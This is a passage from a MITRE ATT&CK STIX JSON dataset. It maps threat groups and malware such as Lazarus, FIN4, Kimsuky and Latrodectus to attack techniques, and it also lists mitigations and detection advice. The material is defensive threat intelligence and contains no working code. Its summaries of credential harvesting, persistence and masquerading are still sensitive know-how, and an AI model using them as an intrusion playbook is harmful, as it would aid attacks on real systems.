to encode its C2 traffic.(Citation: Fysbis Dr Web Analysis)","relationship_type":"uses","source_ref":"malware--50d6688b-0985-4f3d-8cbe-0c796b30703b","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0ee07cbe-2ff1-4ea9-8a72-c83a67ce4bba","type":"relationship","created":"2019-12-19T19:43:34.924Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf","description":"Trusted Computing Group. (2008, April 29). Trusted Platform Module (TPM) Summary. Retrieved June 8, 2016.","source_name":"TCG Trusted Platform Module"},{"source_name":"ESET LoJax Sept 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf","description":"ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019."},{"source_name":"Intel Hardware-based Security Technologies","url":"https://www.intel.com/content/dam/www/public/us/en/documents/white-papers/security-technologies-4th-gen-core-retail-paper.pdf","description":"Intel. (2013). Intel Hardware-based Security Technologies for Intelligent Retail Devices. Retrieved May 19, 2020."}],"modified":"2020-05-19T21:22:38.135Z","description":"Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. Use Trusted Platform Module technology. (Citation: TCG Trusted Platform Module) Move system's root of trust to hardware to prevent tampering with the SPI flash memory.(Citation: ESET LoJax Sept 2018) Technologies such as Intel Boot Guard can assist with this. (Citation: Intel Hardware-based Security Technologies)","relationship_type":"mitigates","source_ref":"course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb","target_ref":"attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0ee0af6e-c913-406e-9439-f40f5102cae7","type":"relationship","created":"2020-05-07T18:49:44.782Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-07T18:49:44.782Z","description":"(Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0eed42c5-98b2-409a-abaf-95915fc93d79","created":"2023-03-17T14:56:02.234Z","revoked":false,"external_references":[{"source_name":"McAfee Lazarus Jul 2020","description":"Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T14:56:02.234Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) used Windows API `ObtainUserAgentString` to obtain the victim's User-Agent and used the value to connect to their C2 server.(Citation: McAfee Lazarus Jul 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0eed880c-738f-4654-b6c2-fdc2362520e9","created":"2024-07-12T18:03:59.406Z","revoked":false,"external_references":[{"source_name":"FRP GitHub","description":"fatedier. (n.d.). What is frp?. Retrieved July 10, 2024.","url":"https://github.com/fatedier/frp"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-12T18:03:59.406Z","description":"[FRP](https://attack.mitre.org/software/S1144) can support the use of a JSON configuration file.(Citation: FRP GitHub)","relationship_type":"uses","source_ref":"tool--36dd807e-b5bc-4c3e-91ed-80682360148c","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0ef0077e-ee87-4e67-a466-2085a9148fc9","created":"2019-01-31T02:01:45.707Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Hacking FIN4 Video Dec 2014","description":"Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved January 15, 2019.","url":"https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html"},{"source_name":"FireEye Hacking FIN4 Dec 2014","description":"Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-fin4.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-01T21:27:44.785Z","description":"[FIN4](https://attack.mitre.org/groups/G0085) has used VBA macros to display a dialog box and collect victim credentials.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)","relationship_type":"uses","source_ref":"intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0ef4030f-0af2-4b6e-bfb8-3fedc5af5a7e","created":"2022-08-07T15:45:42.424Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[AuTo Stealer](https://attack.mitre.org/software/S1029) can place malicious executables in a victim's AutoRun registry key or StartUp directory, depending on the AV product installed, to maintain persistence.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-24T16:51:25.432Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--3e4e2c79-2b27-4245-a5c1-5586a3cbd8f5","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0ef5c336-794e-4700-b40e-c78eed74d353","created":"2022-08-11T22:37:48.994Z","x_mitre_version":"0.1","external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DCSrv](https://attack.mitre.org/software/S1033) has a function to sleep for two hours before rebooting the system.(Citation: Checkpoint MosesStaff Nov 2021)","modified":"2022-08-11T22:37:48.994Z","relationship_type":"uses","source_ref":"malware--5633ffd3-81ef-4f98-8f93-4896b03998f0","target_ref":"attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0ef9bb79-c221-40a8-94b0-58bfc816565f","type":"relationship","created":"2017-05-31T21:33:27.054Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","source_name":"Baumgartner Naikon 2015"},{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-07-02T14:55:19.308Z","description":"(Citation: Baumgartner Naikon 2015)(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0efa0a7a-545d-49e2-b0c4-0e251226404a","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments","description":"Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.","source_name":"Symantec Sowbug Nov 2017"}],"modified":"2019-03-25T16:57:02.797Z","description":"[Sowbug](https://attack.mitre.org/groups/G0054) identified and extracted all Word documents on a server by using a command containing * .doc and *.docx. The actors also searched for documents based on a specific date range and attempted to identify all installed software on a victim.(Citation: Symantec Sowbug Nov 2017)","relationship_type":"uses","source_ref":"intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0efb0490-9935-4d51-8b2f-974e090bbc10","type":"relationship","created":"2021-10-01T20:57:16.372Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity InkySquid BLUELIGHT August 2021","url":"https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/","description":"Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."}],"modified":"2021-10-15T16:54:01.563Z","description":"[BLUELIGHT](https://attack.mitre.org/software/S0657) can collect the username on a compromised host.(Citation: Volexity InkySquid BLUELIGHT August 2021)","relationship_type":"uses","source_ref":"malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0efc2bef-9227-4af2-b73b-bfa61a3073aa","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/","description":"Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.","source_name":"ASERT Donot March 2018"}],"modified":"2019-04-25T00:09:23.167Z","description":"[yty](https://attack.mitre.org/software/S0248) gathers information on victim’s drives and has a plugin for document listing.(Citation: ASERT Donot March 2018)","relationship_type":"uses","source_ref":"malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0efece7a-dc3a-46e1-b56c-7db9e3b61149","type":"relationship","created":"2020-06-10T20:26:53.322Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.380Z","description":"[down_new](https://attack.mitre.org/software/S0472) has the ability to download files to the compromised host.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--8be7c69e-d8e3-4970-9668-61de08e508cc","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0f022198-8fdd-4b6e-8f44-d47ca6ee8d9b","created":"2022-03-30T14:26:51.844Z","x_mitre_version":"0.1","external_references":[{"source_name":"Elastic - Koadiac Detection with EQL","url":"https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql","description":"Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for processes that can be used to enumerate domain accounts and groups, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)\n \nInformation may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.","modified":"2022-04-14T15:03:11.383Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0f04aa6c-82ac-4364-82a0-dda896cffafd","created":"2022-04-18T16:58:07.051Z","x_mitre_version":"0.1","external_references":[{"source_name":"dhcp_serv_op_events","url":"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800668(v=ws.11)","description":"Microsoft. (2006, August 31). DHCP Server Operational Events. Retrieved March 7, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor application logs for changes to settings and other events associated with network protocols and other services commonly abused for AiTM.(Citation: dhcp_serv_op_events)","modified":"2022-04-18T16:58:07.051Z","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f174d38-f30b-4037-a1bc-ecc099809966","type":"relationship","created":"2020-11-17T18:39:07.111Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR SLOTHFULMEDIA October 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a","description":"DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 – Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}],"modified":"2020-11-17T18:39:07.111Z","description":"[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has mimicked the names of known executables, such as mediaplayer.exe.(Citation: CISA MAR SLOTHFULMEDIA October 2020)","relationship_type":"uses","source_ref":"malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0f19052c-5734-4521-91f4-1389e53d11ee","created":"2022-09-22T20:36:51.030Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-22T20:36:51.030Z","description":"[ccf32](https://attack.mitre.org/software/S1043) can collect files from a compromised host.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--a394448a-4576-41b8-81cc-9b61abad94ab","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f27ea83-21e7-4a9f-9c66-85fe85da5135","type":"relationship","created":"2020-03-09T14:29:52.132Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-07T19:43:49.818Z","description":"Turn off or restrict access to unneeded VB components.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f285d1e-eca9-4003-9a7f-454f3457e7ac","type":"relationship","created":"2020-03-02T14:30:05.460Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-25T19:24:18.828Z","description":"Identify critical business and system processes that may be targeted by adversaries and work to isolate and secure those systems against unauthorized access and tampering.","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f29f072-1eb1-4711-8679-19580f16b351","type":"relationship","created":"2020-05-12T22:05:50.811Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-12T22:05:50.811Z","description":"[Mofang](https://attack.mitre.org/groups/G0103) delivered spearphishing emails with malicious links included.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"intrusion-set--88489675-d216-4884-a98f-49a89fcc1643","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0f2bab58-fd7c-486a-b2b7-48eeb39bf212","created":"2024-09-18T17:34:00.172Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bleeping Computer Latrodectus April 2024","description":"Abrams, L. (2024, April 30). New Latrodectus malware attacks use Microsoft, Cloudflare themes. Retrieved September 13, 2024.","url":"https://www.bleepingcomputer.com/news/security/new-latrodectus-malware-attacks-use-microsoft-cloudflare-themes/"},{"source_name":"Elastic Latrodectus May 2024","description":"Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.","url":"https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-18T19:23:53.659Z","description":"[Latrodectus](https://attack.mitre.org/software/S1160) can use rundll32.exe to execute downloaded DLLs.(Citation: Elastic Latrodectus May 2024)(Citation: Bleeping Computer Latrodectus April 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f2d1c8b-4fb7-41e7-8def-36123060e5ae","type":"relationship","created":"2020-03-14T23:29:54.243Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-14T23:29:54.243Z","relationship_type":"revoked-by","source_ref":"attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd","target_ref":"attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0f2d97a6-17ba-4c40-be5b-ce9763956a53","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes ADS July 2015","description":"Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.","url":"https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/"},{"source_name":"Microsoft ADS Mar 2014","description":"Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.","url":"https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/"},{"source_name":"Symantec ADS May 2009","description":"Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.","url":"https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-14T21:54:36.238Z","description":"The Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f2e2727-ffe5-42ad-93fc-e856303ca684","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Tick Apr 2016","description":"DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.","url":"https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan"}],"modified":"2020-03-16T16:40:40.349Z","description":"Some [Daserf](https://attack.mitre.org/software/S0187) samples were signed with a stolen digital certificate.(Citation: Symantec Tick Apr 2016)","relationship_type":"uses","source_ref":"malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f303334-5453-4415-a5e0-cf039f59796a","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor for newly executed processes that may create or edit shortcuts to run a program during system boot or user login.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f363688-a168-4e9f-94e6-75142875c802","type":"relationship","created":"2021-10-07T18:46:08.811Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-07T18:46:08.811Z","description":"[Turian](https://attack.mitre.org/software/S0647) has the ability to use /bin/sh to execute commands.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"malware--350f12cf-fd3b-4dad-b323-14b943090df4","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0f36ee85-8906-40c6-be53-87bc96499763","type":"relationship","created":"2020-11-06T18:02:10.532Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-301A Kimsuky","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-301a","description":"CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."},{"source_name":"Netscout Stolen Pencil Dec 2018","url":"https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/","description":"ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019."}],"modified":"2021-09-29T13:32:43.801Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used the Nirsoft SniffPass network sniffer to obtain passwords sent over non-secure protocols.(Citation: CISA AA20-301A Kimsuky)(Citation: Netscout Stolen Pencil Dec 